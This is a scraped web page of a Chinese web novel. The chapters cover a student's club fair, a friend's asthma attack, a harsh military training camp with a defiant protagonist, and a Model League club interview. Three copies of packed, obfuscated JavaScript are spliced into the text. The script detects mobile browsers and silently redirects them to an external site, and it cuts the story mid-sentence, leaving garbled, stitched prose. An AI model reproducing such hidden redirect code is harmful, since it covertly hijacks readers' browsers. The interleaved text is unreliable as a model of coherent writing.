;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295636|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点远。 安置好了一切,顾梓聿带上刚充好的饭卡,正好和舍友们去食堂吃午饭。他看着一楼有个窗口前排着长队,像发现了新世界似的,也好奇地凑上前去。等到排到的时候,他终于看清窗口上三个字“砂锅饭”。这算什么饭?他从未听说过。看着菜单上有个土豆烧牛肉,心想,这总不会错吧,点了才发现,原来这砂锅饭就是把菜放在砂锅里加热,然后往一盘饭上一浇——这不就是砂锅版盖浇饭吗。 好吧。等他托着这一份饭回到座位上时,其他三个哥们早就吃的差不多了! 吃过午饭也没闲着,校园里到处都是各个社团摆的档口,美名其曰“百团大战”。从食堂走到田径场的主干道两侧,人头攒动,热闹非凡,各个社团的摊位依次排开,五彩斑斓的横幅、精心布置的展台、此起彼伏的吆喝声,将这场“百团大战”烘托得如同一场嘉年华。 魔方社的摊位上,桌面摆满了各式各样的魔方——标准的三阶、复杂的五阶,还有异形魔方,一个戴着黑框眼镜的学姐正单手飞速复原着魔方,手指翻飞,嗒嗒的转动声吸引了不少围观的同学。一旁的展板上写着“挑战十秒还原魔方,赢精美奖品”,让不少对魔方感兴趣的同学跃跃欲试。 魔术社的摊位前围满了人,人群中央的学长手指灵活地翻转着一副扑克牌,桌上摆着各种道具供人试玩。推理社的展板上贴满了推理谜题,桌上有一摞侦探小说,还有“密室逃脱”小游戏——一个精心设计的解谜盒,需要按照提示一步步破解机关才能打开,吸引了不少对推理感兴趣的同学低头苦思。 航模社和天文社都是八中的特色社团,航模社的展位桌上摆放着各种精致的航模,这可不是飞行的航模,而是航海模型——从古老的风帆战舰到现代化航母,再到精致的游艇和潜艇,应有尽有。最引人注目的,是一艘近1米长的仿真远洋货轮模型,甲板上细节满满,连小型起重机和集装箱都能活动。一旁的展板上贴满了航模作品实地下水试航的照片,社团骨干们热情地向路过的新生介绍:“...我们不仅制作船模,还会组织社员参加国内国际上的航模竞速比赛、模拟航行,以及远程遥控挑战赛!”吸引了不少对机械和造船感兴趣的同学驻足观看。 天文社的展板上贴满了社员用望远镜拍摄的各种星图、星云以及月球表面特写。桌上放着一本厚重的星图册,供人翻阅。摊位中央摆放着一架小型的天文望远镜,由社长演示如何操作,不少学生正在兴致勃勃地排队。 再走几步,就是戏剧社的站台,一块展板上贴着往年社团演出的剧照,几位学长学姐身着戏服,现场表演着一段戏剧台词。最引人注目的是社团特设的“即兴演技挑战”——报名的同学随机抽取情境卡,比如“王子得知国王其实是自己的杀父仇人”、“深夜遇到鬼魂却发现是多年未见的好友”等,然后即兴演绎,现场气氛轻松又充满乐趣。 街舞社的摊位充满活力,音响里循环播放着动感的节奏,摊位前铺了一块临时舞台地垫,几位社员正轮番上阵,一会儿是帅气的Breaking,一会儿是流畅的Popping,甚至还有Freestyle Battle,引来一阵阵掌声与喝彩。摊位旁的展板上写着“无舞不青春!加入街舞社,让身体跟随音乐燃烧!”还有社员热情地邀请围观的同学加入,一起体验几个简单的舞步。即便是零基础的新生,也忍不住被热烈的氛围感染,跃跃欲试。 除此之外,还有很多别的站台,艺术文化类的就有书法社、国画社、摄影社、汉服社、民乐社、吉他社、动漫社、辩论社,科技创新类的除了航海模型还有机器人社。体育竞技类的就多得多了,羽毛球社、网球社、跆拳道社、攀岩社和射击社,看得人眼花缭乱。 顾梓聿和舍友马凯一起逛着,马凯填了个魔术社和天文台的申请表,还兴致勃勃想往航模社去。顾梓聿则是本着“以玩为主、以学为辅”的方针,每一个站台都挤进去了解了一下。他倒是很想参加攀岩社和网球社,但他也知道,这两项运动都会对手臂、手指和手腕造成大量的负荷,过度用力可能导致肌腱炎、手腕拉伤,甚至更严重的网球肘,而他目前的首要任务,作为一个小提琴专业的学生,就是保护好自己的手。 他只好着重看看只用动嘴皮子的项目,推理社和辩论社倒挺有意思,戏剧社也不错。 他倒是还想逛下去,可不远处的一阵骚动引起了他的注意。挤过去一看,原来是他另一个新舍友邹宽,不知道是什么病发作了倒在地上直喘气,而舍友方岳在原地焦急地拨通了老师的电话。 看到顾梓聿过来,邹宽抬起一只手,虚弱地抓住他,力气微乎其微,眼神里带着惊慌,上气不接下气地挤出一个字“药”,声音微弱得几乎听不见。 马凯马上往医务室跑,顾梓聿下意识就往宿舍冲。他一瞬间就想起今天收拾宿舍的时候,邹宽拿出一个小箱摆在书架上,当时他正好看到,好奇地问了一句是什么,邹宽就说是药箱。 顾梓聿觉得自己跑出了这辈子最快的速度,等他拿了药箱再冲回来的时候,医务室的老师刚刚赶到。邹宽看起来面色苍白嘴唇发紫,他没管慌慌张张上来就准备送他去急救的老师,而是从药箱里拿了一瓶气雾剂,深吸一口,这才慢慢好转了一些。 原来邹宽患有运动性哮喘症,这次就是方岳拉着他跑起来,他太激动才会犯病。 这开学第一天简直是太过刺激了。顾梓聿晚上躺回宿舍的床上回想这一切的时候,才终于松了口气。邹宽已经被他过度担忧的爸妈接回家里休养,而方岳显然还在傻傻地自责中。不过这样也好,邹宽就不必参加接下来的军训—— 这对于他们来说,据说是很严峻的一项考验。 41.军训 顾梓聿从来没有意识到,鹿城的夏天有这…么…热...... 早上十点,烈日当空,地上仿佛在冒烟,顾梓聿站在队列里,脑子里是一团浆糊。 已经出伏了,天气却还热得像三伏天,偏偏这次军训,一直是鹿城常客的台风却从来不曾屈尊莅临,一班的学生们没有喘息的契机,只能直挺挺地站在队列里,像一尊尊无知无觉的石像,接受太阳的检阅。 真像是要被太阳晒化了,汗水从额头上流下,斜斜划过眼角,酸辣的蜇疼感,顾梓聿不敢或动——抬手去擦是要打报告的,可不知道为什么,他对这件事本能地排斥,喊一句报告简直像能要了他的命似的,他宁愿忍着。 说来好笑,放眼望去,大部分学生都在休息,或撑着伞,或在树荫下乘凉喝水,唯独一班的学生没得休息。在气象局每天都会发布高温橙色预警的前提下,他们永远是第一个集合训练的,也是最后一个解散的,用教官的话来说,“你们的队伍是第一排,是尖兵,是继承了优良传统的,当然要要求更严格”。 天可怜见,他们不过是编号为一班而已,怎么就变成了体质远超其他学生的尖兵?这样学校与教官沟通方面的“不谐”,自然不会有人发现纠正,于是事情就演变成,一班成了专被教官挑刺的对象。昨天还因为个别同学的训练姿势不标准——其实不过是齐步走时手抬起的角度不合格,全班都被罚在全校学生面前坐下起立,反复几十次,而且要求3秒坐下,1秒起立,还让隔壁平行班的在旁边计数。 从一进校就隐隐感觉到学校资源倾斜的不平等,平行班的学生怎么会放过这样的好机会?之前总觉得被这些优等生压得很不服气,此时见到一班的“天之骄子”们出糗,自然是很开心,一边想笑一边计数,憋得很辛苦。 顾梓聿是个很矛盾的人,他在某些方面可以说是很听话,甚至堪称是顺服,可在有些方面又有不合时宜的反骨。他看起来面无表情,却在心里疯狂嘲讽:这样的训练,这样的惩罚,究竟有什么意义?也许教官认为这样能锻炼学生的意志,可在这样的高温天气下训练,无异于拿大家的健康开玩笑。 教育部的施政纲领中,明文规定了军训的目的是通过严格的军事训练提高学生们的思想政治觉悟,激发爱国热情,培养艰苦耐劳、刻苦奋斗的坚强意志和集体主义精神,增强国防观念和组织纪律性,养成良好的学风和生活作风,锻炼身体,并掌握基本的军事知识和技能。 但在他看来,这样由站军姿和队列练习等简单科目组成的训练,不但与“掌握基本军事技能”毫无半点干系,更不能激发所谓的“爱国主义热情”,顶多是令女生们多消耗几瓶防晒霜而已。 今天已经是军训的第三天,从早上七点开始,先跑操,一边喊口号一边跑了两千米,然后从八点起就在这站军姿,中间不过休息了五分钟。穿着厚重的军训服,大家都是汗如雨下、苦苦支撑。可是看起来,自己周围这群人都是好强的人,即使已经腿脚打颤了,也要咬牙坚持到下一秒,再下一秒。 他不想认输,于是他学着切割开身体和精神的联结,把目光投向不远处地面上一个小凹坑,放任自己的神思出窍,努力把它想象成古罗马的斗兽场,血腥的角斗正在上演,失败者断了气,被拖出场地,在地上留下长长的暗黑血痕,猛兽则张露出血染的獠牙,涎水贪婪地滴落在沙地上… 张瑾妤,现在在军校里的训练,应该更累更苦吧? 毫无察觉地,顾梓聿的思绪就从这个小凹坑飘到那个女孩身上。尽管两者完全风马牛不相及,顾梓聿一点儿都不在乎自己的心思为什么如此的飘忽,可能是因为,想着那个女孩,比起想象一个无稽的斗兽场更能让他放松些? 那样一个女孩子,虽然也未必就很娇弱,但他总是忍不住要担心,担心她在那样一个“士官学校”会经历怎样的辛苦磨砺?如果,眼前的军训已如此难熬。为了成为一名合格的“士官”,在一个注定会有更多磨砺和考验的地方,她会受累、跌倒、甚至受伤吗?有人会在她旁,关心、照顾甚至久久挂怀吗? 嗯?顾梓聿的余光扫到一个影子晃了一下,他正还有些懵然,一声暴喝马上把他的神思从十万八千里外揪了回来。 “谁!” 那个个子不高、精瘦、脸庞晒得通红的教官大喝:“不打报告,谁敢乱动!” 一边另外一个教官听到,也急步走过来,两双鹰隼般的眼,就像探照灯似的往队列里扫着。 他们一个班级列了四队,女生两队男生两队,队列顺序按身高从矮到高排,女生排在男生的前面。顾梓聿眼角瞄了瞄那个影子,是个女生,只打过几次照面,他不熟,连名字也不太记得。从背后看过去,黑色长发,扎个马尾,瘦高的背影似曾相识。他不敢乱动,只不动声色地,微微抬起眼,看向教官。 教官踱步走到女生队列间,故意将脚步放慢,又放得极重,鞋跟“啪哒”、“啪哒”地,就像碾在曲子洋的心上。她听着教官生气地喊道是谁乱动不打报告,心都差点冻住了。她恐惧地低着头,一点声音都不敢发出来。 刚才她实在是被太阳晒得头晕眼花,又一直僵站着,腿抽筋了,才不自觉地晃动了一下,完全忘了打报告,可现在?她想到昨天那个没有打报告的同学被罚跑圈,她在一旁看着都替他痛苦——她实在没力气了跑不动的!她该怎么办? 教官见没有动静,脸色更差了:“是哪个,敢做不敢认?站出来!不站出来全排再站三个小时!午饭也别吃了!” 曲子洋一抖,觉得手脚发凉,她本来好不容易鼓足了勇气,想要站出来承认的,可听到教官这么一说,她更害怕了。 大家都已经站了一个早上,没有好好休息过,积攒了一肚子怒气,突然听到这样一句话扔出来,简直要炸了锅了。幸好大家都还比较成熟,懂得强自按捺情绪,只管好自己的站姿。曲子洋感觉到旁边的女生似乎看向了她,带点隐隐的责怪,暗暗的催促。她整个人腿都软了,想站出来,脚都挪不动;勉力抬起头,想打报告,嗓子却干涩发不出声。 顾梓聿也不知道是脑袋哪根筋搭错了,见到那女孩贴在裤缝边微微发抖的右手,一股热血就冲上脑来,也许是那女孩似曾相识的背影吧,隐约和他脑海中那个女孩的背影相合重叠。不顾他旁边张铎惊异的目光,顾梓聿一步向前,响亮大声道:“报——告——教官,刚才是我动了。” 不用说就能看得出来,教官很生气,他紫红的脸膛几乎要转为黑红了——他明明看到是女生队伍里有人动,谁想到站出来的是个男生?一句粗话就爆了出来:“你.他.妈的逞英雄是吧!不仅没有集体意识还爱出风头!不就是想在女生面前现吗?爱现我让你现个够!跑去!让全场的人都看你跑!” 顾梓聿其实还挺平静的,他不像有的同学,对军人有一种盲目而狂热的崇敬感和追捧心,也没有被军训的纪律和教官的威严所震慑。对于军队的体制,他没有天然的服从感,反而抱着冷眼旁观的态度。一般教官说什么,他也就照着做,不是全心的服从,只是懒得给自己找麻烦罢了。 说是教官,其实人年龄跟他们差不多大,没读几年书想着吃军饭就入伍了,还没什么自己的想法就已经被宣传训练所洗脑,成为彻头彻尾的帝国机.器。就这几天看下来,简直每个教官都是个没头脑不高兴,只不过他们这位“现管”更暴脾气一些。他顾梓聿什么没见过?偏偏是硬的不吃吃软的。 对于顾梓聿来说,比起深蹲跳、俯卧撑,跑圈也不是什么很痛苦的事,可能对教官来说,惩罚的意义是让他在操场上丢人现眼。但问题是,这对其他脸皮嫩的学生可能是一个很严厉的惩罚,不过顾梓聿,他的初三已经够“丢人现眼”了,“每况愈下”的成绩和“吊儿郎当”的态度常常成为同学们无聊生活中的调剂品。那时的他尚且还过的优哉游哉,更何况是现在脸皮已经厚了不止数倍的他? 顾梓聿顺从地从队列中跑出,开始绕圈。他动作标准,但节奏极慢,一副悠然自得的样子,似乎并没有把惩罚放在心上。 几乎全场的或正站军姿、或正休息的学生都在向跑道上那个身影行注目礼,教官看着顾梓聿仍不紧不慢地跑着,气急败坏地大吼道:“给我他.妈.的跑快一点,今天早上没吃饭是不是!像个娘们一样!” 一群女生们听到“像个娘们一样”这样明显有歧视性的话,也不敢做出什么反应,只能愤恨地皱皱眉头。顾梓聿从善如流,马上加快了步伐,可是远处看起来,他虽然迈步的频率加快了,可整个人看起来还是很放松很自然。教官真是从来没遇到过这样的刺头儿,有哪一个被罚跑的人不是苦大仇深、欲哭无泪?这个小兔崽子倒好,像是个没事人一样!这简直是对他的挑衅! 顾梓聿转过一圈跑到教官跟前,问道:“报告教官,我还要跑几圈?”他心里想着,一圈400米,有个三四圈最多了吧?教官冲着他吼道:“废什么话!继续跑!直到我喊停为止!” 这…… 顾梓聿在心里哀叹了一声:最讨厌的就是这种了,跑到停为止,那鬼知道要跑多久?他慢慢深呼吸,吸气,吐气,把节奏慢下来,接下来还有得跑呢! 顾梓聿完全不知道,队列里,曲子洋眼睛都湿了。开学第一天,她搬不动书,就是这个男生帮的忙;而现在,又是他替自己解围,却被罚跑。她心里又酸又痛,却又有一点淡淡的甜蜜。尽管她真的很害怕教官,但她更不是那种能眼睁睁看着别人为自己受过的人。看着男孩在操场上跑动的身影,她实在忍不住出了队列,跑到教官身旁,鼓足勇气说:“教官,其实是我动了,不是他。我刚才脚抽筋了,所以没站稳。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301377|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女孩子长长的睫毛眨了眨,楚楚可怜地,她心颤颤地,等待着教官的怒火倾泻到她身上来。然而,出乎意料地,教官只是狠狠剜了她一眼,就叫她归队,然后继续盯着罚跑的顾梓聿。 “教官,他没有错,也让他归队吧。”曲子洋并没有如释重负地回到队列里去,而是小声地求情。顾梓聿已经跑了第三圈,看着他渐渐跑过来的身影,教官不动声色,把曲子洋晾在一边,面向一班说:“这个同学,我罚他不是因为动的时候没打报告,而是他太没有组织纪律性了!军队里从来不流行代人受过这一套,既然他敢站出来,就要敢当!” 曲子洋看着都要哭了,不,她是真哭了。她不敢哭出声,只是倔强地仰着头看着教官,眼泪无声地淌下,也不去擦,很快,塑胶地上就有一点一点暗色的痕迹。 教官虽然对着男孩子下得了手,可是对于娇滴滴的女孩子还是比较怵的,更何况现在这个女生还掉起了金豆豆。教官有点头疼,硬邦邦掷出一句“瞎流什么马尿!”,但很快他就发现女孩子是不能骂的,因为曲子洋的眼泪有越流越多的趋势。他苦恼地咬咬牙,终于受不了女生的眼泪攻势,一挥手,叫曲子洋去把顾梓聿叫回来。 顾梓聿看着那个眼睛都肿了、满脸都是眼泪的女孩子跑过来,有点啼笑皆非——挨罚的也不是你,你哭什么呢?他慢慢停下脚步,等到了跟前,他掏出口袋里的纸巾递给曲子洋。女生顾不上矜持,抽噎着接过纸巾,粗鲁地把脸抹了一遍。 他数了一下,不多不少刚好跑了四圈,还可以,他慢慢走回队列,女生低着头跟在后面。 喉头有点淡淡的血腥味,衣服都汗湿了,贴在身上怪有些不舒服的。他看着教官,终于是先垂下眼,打了报告,任由教官来回打量几眼又冷嘲热讽几句,才回到队列里。 如果知道教官是这样“眦睚必报”的人,如果有后悔的机会,顾梓聿一定会乖乖听话,决不会露出半点不屑的神情。然而,太晚了。之后的每一天,顾梓聿都成了教官的重点关注对象,踢正步时脚抬起的高度,汗流下来时不能皱眉,向后转慢了几秒…几乎是能挑刺的不能挑刺的都挑了,不仅顾梓聿被搞得筋疲力尽,大家都人心惶惶,每天放饭时间居然是最幸福的时刻。 十天终于过去了,对于顾梓聿来说就仿佛是过了一个世纪。他看着被同学们围绕着舍不得走的教官,心里撇了撇嘴,但还是随大流地走上前去,略略敷衍地表达了一下不舍之情。他没有想到,那个个子不高、脸膛通红的教官看着他,颇为冷静地说道: “顾同学,我知道你学习很好,也知道你挺看不上我们的。” 顾梓聿确实没有把教官放在眼里,他不迷信权威,也不轻易被洗脑,但也不会愚蠢地硬刚。他的服从是有条件的,他的观察是带有冷漠的讽刺意味的,面对教官,他甚至隐隐有种“觉得自己比他们聪明”的优越感。 他以为自己的小心思被隐藏得很好,没想到竟被当事人明白指出,根本没留意前半句“夸奖”,整个人都窘迫起来:“不不不,没有的事…” 教官也无意听他在那狡赖,接着说道:“我虽然不会读书,可是我知道我是一个军人,我在部队里刻苦训练是为了掌握技术、保家卫国;我作为一个教官,在训练期间对你们严格要求是为了培养好帝国的下一代。你看得上或看不上我们,其实对我来说没有什么影响,可你要知道,军人的天职是服从命令。” “在军队里,一个人并不是孤立的个体,而是集体的一部分。我们一起训练,一起受罚,一起吃苦,一起执行任务,我们的生命和彼此绑在一起,战友间的信任甚至比家人更深。” “作为军人,服从军纪是一种自我锻造,在混乱和无序的世界里,秩序是强大的象征。普通人可以享受和平,但军人知道,和平不是免费的,我们接受严苛的训练,远离家庭、牺牲个人自由,身体和意志都已经被锤炼到极限,而当危险来临时,我们是第一道防线。你们不用流血,而我们随时可能牺牲,你们享受安稳的生活,而我们是最后一道防线。没有人强迫我们留下,但我们留下了,这就是军人。” 顾梓聿苦笑,教官把话说到这份上,他也接不住了。 可是,若说军人以服从命令为天职…他眼前滑过一个身影,那个人,也是以服从命令为天职的军人,但就是他,一边能仿若无事地往伤者身上补枪,一边却违反命令给了他一条生路。 “你现在可能不能理解,甚至觉得可笑,但我希望你将来有机会可以认识到自己的幼稚。只有真正成为一名军人,你才会明白军人二字的分量,哪怕军旅生涯再苦、再累、再严苛,我们仍然会挺直脊梁,认为这份荣誉值得一切。” 教官摸了摸自己肩膀上的两道折杠,眼睛里莫名闪着坚定的光:“…这就是最伟大的职业。” 42.模联招新 顾梓聿近来觉得有些尴尬。 不知道是不是他自作多情的缘故,自从军训过后,那个叫曲子洋的女生,望向他的眼神似乎总有些别样的情愫。她把作业发到他手里的时候,看向他的眼神都那么含羞带怯,好像他对她真有些什么心思似的。 他每遇到她都有些不知所措,在走廊里遇到时,看到她殷切的神情总觉得自己欠了她什么。 现在更惨。 顾梓聿感觉着自己身后的目光——连自己参加社团招新,她也要来?! 参加模联社团,是顾梓聿在逛“百团大战”时忽然有的想法。模联社是学校的招牌社团,别的社团多数都是学生们自己组织、小打小闹,模联社却是为数不多的能和航模社、天文社、射击社等得到校方资金资助的学生社团之一。当时在展台前,模联社骨干的介绍让顾梓聿对这项融合了辩论技巧、知识竞赛、角色扮演和外交策略的综合性活动很感兴趣。 在当前的世界政治格局下,全球的大部分国家代表组成了一个多边的外交协商机构,称作国际联盟。这个机构专注于全球政治、军事、经济等事务的调解与协商,而“模联”就是“模拟国际联盟”的简称。通过模拟外交与谈判的过程,学生们将代表各个国家的立场,就特定议题进行发言、辩论、提案和表决,参与多边协商和合作,解决国际争端、签署条约等。 想要加入模联社团并非易事。首先,模联社的宗旨是培养能在国际高水平模联大会上代表帝国的学生,因此,国际通用语言水平过硬是充分必要条件。然而,光有流利的语言能力远远不够,参与者还需要有大量的背景知识储备,对当前国际关系、热点和时事动态有深入的了解,不能在谈论《帝国和平协议》时一脸茫然,也不能提到《白银条约》或《泰坦安全协定》时显得无所适从。模联社的成员必须清楚国际联盟的运作规则,了解世界各国的联盟与对立,掌握从军事协议到经济合作的各类条约,理解这些条约和协议背后的复杂政治与历史背景,不至于在与其他国家代表的辩论中丧失立场。除此之外,策略协商能力和运用外交逻辑组织语言的能力也非常重要。 现在,顾梓聿正坐在恳行楼的阶梯教室里,面带同情地看着下沉式的教室正中央站着的那个男生,紧张不已地接受着面试。他正磕磕绊绊地解释着 “developed country” 和 “developing country” 的差别,然而毕竟索伦语不是他的母语,愣是 “呃呃” 了半天,还没讲到点子上。 座位席第一排坐了一排人,一男一女两位老师,还有几个穿着校服的学生。顾梓聿看到了眼熟的面孔,他们应该就是模联社的元老骨干。主持面试的不是老师,却是一个女生,从背后看过去,只见到一头丝缎般如墨的黑发,微微遮盖住了平而直的肩膀和纤长的脖颈。 明明还是个学生,她周身的气场却犹如实质,看来是见过大场面的人。 在等了一两分钟后,她的脑袋轻轻点了点,温柔却又很快速地说道:“ok that’s enough, thanks for youring and you’re free to go.” 男生就算没听到这句话也知道自己没什么希望了,除了自我介绍外没有一个问题他答的上来,就连问他为什么要来参加模联,他也只说出了“因为想锻炼自己的语言能力”,这样的理由听起来真是弱爆了。他垂头丧气地拖着脚步回到座位席上——他还不想走,想看看接下来面试的人水平怎么样,说不定还有比自己更差的呢?也好宽慰一下自己。 下一个女生上了台——这个女孩子看起来就很纤瘦,校服本就宽松,穿在她身上简直跟麻杆上套了个麻袋似的。这女孩一张尖尖的瓜子脸,皮肤白地透明,脸只有巴掌那样大,衬得一双棕褐色眼睛也大大的。她一开口,讲话声也尖尖的,不是很悦耳,甚至有些让人心悸。 “Hello everyone, this is Wen Yi speaking. I am glad to be here sharing some time with you guys. Questions ?” 她的神情冷淡又骄傲,简直就像一颗燃烧的恒星,要刺伤所有人的眼睛。Wen Yi ?顾梓聿脑子里马上冒出了“温仪”这两个字,可这名和人可真对不上啊! 主持面试的女生倒是很淡定,她安静地记录下名字,然后开始例行公事地问问题,面试者的强硬似乎对她来说没有任何影响。问题的难易不一,从列举国际联盟的官方工作语言、解释国际文化与教育组织的工作宗旨,到指出索尔纳港是哪里的重要海港、以及它在全球航运史中的战略地位。在座的人都发现 Wen Yi 被问了很多问题,但 Wen Yi 用她那尖细的的嗓音,总能给出正确的答案。 这样一来一去的流利对答,女生旁边的男老师扶了扶眼镜框,嘴边的笑容灿烂起来。 杜若钦看着身边坐着的赵奇老师边笑着边在 Wen Yi 名字旁重重地打了一个勾,心里微微叹了口气,不过脸上半点没显露出来,而是看向那个满脸冷淡的女孩子,继续履行自己的职责,继续用索伦语问道:“直到现在,你给我们留下了深刻的印象,你的口语和广阔的视野都非常出色。在你加入我们之前,最后一个问题是:为什么你想加入我们?” 赵奇没有阻拦杜若钦问出这个问题,在他看来,这个 Wen Yi 是个很不错的苗子,而若钦身为社长,她当然有权力参与到筛选社员这个环节中来。只不过若钦在这方面着实有些惫懒,之前有几个表现不错的,若钦也没问什么,完全让他来决定,可为什么现在这个女生却激起了她提问的兴趣呢? 阶梯教室中央正接受提问的女生,即使站在全场学生的注视下,仍然骄傲得看起来反倒像她是提问者一般。而相应的,她用索伦语给出的回答也是骄傲到嚣张:“因为你们需要我来赢。” 杜若钦任是再好的脾气,也被这样的话噎住了,赵奇却鼓起掌来。他欣赏地点点头,说道:“Very good,我很喜欢你的回答,你叫什么名字?” “温润而泽,乐且有仪。”女生矜傲地垂了一下眼,赵奇又欣赏地点点头,连连夸奖道,好名字、好名字。 同样也是抱着“锻炼外语能力”的目的来参加模联社面试的陈心乔——毕竟她公费生的考试就是因为语言水平不够好被刷下来的,一路看下来简直要笑到肚子抽筋。这真是足够令人捧腹了:温润而泽乐且有仪,这都是形容君子的溢美之辞,就温仪这样,可真是对不起这个形容。讲个名字还要这么拽文,三点水的温礼仪的仪不会吗?那傻b老师居然还很欣赏,底下坐着的一群男生鼓掌还鼓得那么起劲儿,她瞬间就没有了参加这个社团的欲望。想练语言有的是机会,去参加个演讲社或辩论社也很不错,何必要和一群蠢人在一起? 温仪和她都是二班的,从第一天起这个温仪就处处装模作样,把自己当作个万人敬仰的女神似的,令她很是看不惯:瘦得像根竹竿、头发又黄黄少少的,没胸没屁股平时走路还扭来扭去,扭什么?脸那么尖眼那么大都快要凸出来了,简直像个悲伤蛙。平时嗓音那么尖利,从来不会好好讲话,扯着嗓子像是在哭一样。 在她看来,旁边坐着的姜明珺才勉强算得上是女神呢,长得又美人又好,小提琴拉得好还是语言天才。她转过头对着一边坐着的姜明珺翻了翻白眼,尖酸地吐起槽来。 姜明珺知道自己这个初中同学看起来文文静静地,其实私底下可毒舌了,可亲耳听着她“嘶嘶”像只毒蛇一样喷洒着毒液还是有些不能接受。陈心乔嘴中的温仪简直是一无是处,处处惹人生厌,就连温仪撩头发的动作陈心乔都看不惯,说成是“每次别头发都故意落下一绺头发,想装风情给谁看啊”。 她听着这些恶毒的形容,觉得有些坐立不安却又不好意思打断,幸好她俩坐在最后一排,所以即使陈心乔尖酸刻薄地喷着毒液,也不用担心别人会听到。她实在是煎熬了一会,不知怎么能巧妙地打断这场惨无人道的点评,直到她的目光意外地扫到顾梓聿,她连忙戳戳陈心乔,指着顾梓聿的方向说道:“诶心乔,顾梓聿也在诶,你要不要上去面试看看?” 陈心乔马上扭捏起来,小儿女姿态地喏喏道:“我们先再看看别人吧。”一下子又打消了之前不想跟温仪一起参加这个蠢社团的想法。姜明珺面上淡淡“哦”了一声,心底却乐起来:她就知道身边这女孩喜欢顾梓聿,瞧,她一把梓聿搬出来,陈心乔就收回了自己的獠牙娇羞了起来。 顾梓聿连看了好几个面试,大概对自己的水平心里有数了。看着温仪登记完个人信息,他就施施然走下了阶梯,准备面试。令他没想到的是,居然主持面试的那个女生也是熟人! “Nice to meet you, what’s your name please ?” 杜若钦并没有表现出一副熟识的样子,只是双眼略微弯了弯。顾梓聿知道这个面试很正式了,也就并没有表现出什么,而是规规矩矩地开始自我介绍。他看着学姐一脸认真地倾听,仿佛第一次认识他的模样,心里觉得好笑。 杜若钦是高他们两届的学姐,他记得第一次见到杜若钦就是在数学竞赛组。那个时候他还是小学生,跟的是初一学生的初级组,但杜若钦在高级组,他们之间没怎么直接交流过,不过杜若钦的竞赛成绩很不错,那个时候她经常过来做传授经验的讲座,而后也来过几次实验室给他们做辅导。 杜若钦长得很漂亮,那一两年初中部虽然对女生头发没有明文的要求,但私底下还是更提倡剪短发,至少也要将头发扎起来,而杜若钦始终披着一头美丽的长发。她的头发很黑,皮肤很白,五官美的很凌厉,因为她优秀的成绩,再加上其实她初三那年很少出现在学校了,也产生不了什么“坏影响”,校领导也就睁一只眼闭一只眼,没说什么,放任她顶着一头美丽的长发在校园里招摇过市。 杜若钦看着眼前的小学弟,他对她抛出的一个个问题回答得有理有据、游刃有余。他对国际联盟的核心结构有着扎实的掌握,能够简要而准确地介绍出三大主要委员会的职能和工作。和平与安全委员会,负责全球冲突的调解与预防;人道事务委员会,主要处理全球难民、援助和人道主义问题;以及国际法与条约委员会,专注于全球法律框架的制定和执行。他能够描述国际武器公约对大规模杀伤性武器的扩散的限制,能清晰阐述国际联盟对于恐怖主义威胁的应对策略,尤其是在应对像赤影军团这样的恐怖组织时,联盟如何加强成员国间的情报共享与协调行动,防止其进一步蔓延。 这些都看出至少他在来之前是做过准备的,这还是她印象里那个凡事都能做到最好的男孩子啊。 她很满意,不禁下意识加了道本来没准备问的题,而这题已经不属于面试范畴,已经是正式的立场文件的背景介绍了。 “The last question, think about that you are representing Germany at a summit meeting discussing the European financial and economic crisis. Europe faces a serious financial and economic situation stemming from the fall of the Soviet Union and the creation of the Euro was exacerbated by the financial crisis in the United States of America in 2008. Since 2008 the European economy has entered a deep recession and the statements of financial position of European countries namely Portugal, Ireland, Italy and Greece have be heavily weighted in public debt. One of the primary reasons for the rise of debt in these countries is the inflation of the Euro. Over the last five years, the Euro inflated at an average rate of 1.9%. This caused European goods to be more expensive to import. The world imports fewer European goods as global recession spreads. The GDP dropped in many European countries resulting in man ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305382|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' y countries having to take on more debt to satisfy mary obligations. Countries in strong economic positions such as Germany, France, and Switzerland have emerged from the crisis as leaders. As the German ambassador, what actions should be taken in order to revive the economy ?” 这一大串索伦语念下来,在座的很多人已经晕了,不是说完全听不懂,只是突然之间来了一段外语听力材料,涉及的背景知识又是一般学生不会去接触到的,大家都面面相觑,而坐在第一排的几个模联社骨干看到社长这么认真,竟然都大破例拿正式会议的题来考较这男生,一下子都眉来眼去地相互示意,看来社长是真正挑到了让她感兴趣的人啊。 顾梓聿听懂了,杜若钦现在完全是把场景带入了正式的会议辩论,设置了一个情景,要让他作为德意志的国家代表,针对加洛林联邦的经济金融危机提出议案。 